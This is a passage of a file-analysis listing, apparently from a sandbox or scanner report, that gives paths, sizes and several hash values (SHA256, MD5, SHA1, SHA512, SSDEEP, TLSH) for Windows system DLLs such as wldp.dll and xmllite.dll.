- SSDEEP 98304:BRNIHl1eJf3V6+O0zf3rjSSROQVnHZwDU:Il1eJf3V6oT3refQV5iU
- TLSH T154864A5E13EC11A4D5B9E17CC643464EF6B278222322ABDF012186BE4F37BE5493DB52
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\wldp.dll
- Size 168KB
- SHA256 08225860b8e9b712439cd83bc3a04fa802c56c5fa6c2471f23e0047ac639f1f5
- MD5 61f961a945669430557457615cf53493
- SHA1 5b12fca5bf3ee6d0bafc18f96dc81604bb95de4a
- SHA512 a89e09a2897e496b39ca6f6b30e4545c195b4524936b4b184fe2a65aac1901de6c522c1eb573954b4279c008e2b7c030249f87f327379735c393ac4e44cff6a2
- SSDEEP 3072:8th1n+uQ6FQYUPPvrF4F4a9Jme90+FcC6O0rthsMnk0aV44gZzU5pWHArQ50dH0M:8Pd+j6FQ/3Z4F/Jmeyo27PkP44H
- TLSH T1FCF3286F37ED2067E0B7927889A78545B77274301F1296EF11A0823D1E37BD4AE35B22
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\xmllite.dll
- Size 210KB
- SHA256 1c504b90689a1d12ab8b571edc6189b085502d1794fcdc890897df4729399a5f
- MD5 edd4ab0b9754ddaeba5b1eba5bfb7d49
- SHA1 d9b3af28c0dd54260ec2995e1610568dbb23c48e
- SHA512 433a21bfa962fbdab0fc6c04786307e83715a6c41c5e502b80e2ea0d795fcfe2555295914be51714d952454a9eaaf890804dbe4de40cec49cea82afc198b6b15
- SSDEEP 3072:zwd5q7UxjvwCG4W27p5GLg21H3wIkmQ7hnZJgYRxFOyrlXkWcdhZdWrilTP3wf:zwPqYxMCG4rp4k21gnDhnZJgYflqZZ
- TLSH T12624064276A85055EAE7913CCB83876AFA7F3414276845CF029443D9BF2BBD06A7D323
- MD5 SHA1 SHA512 SSDEEP TLSH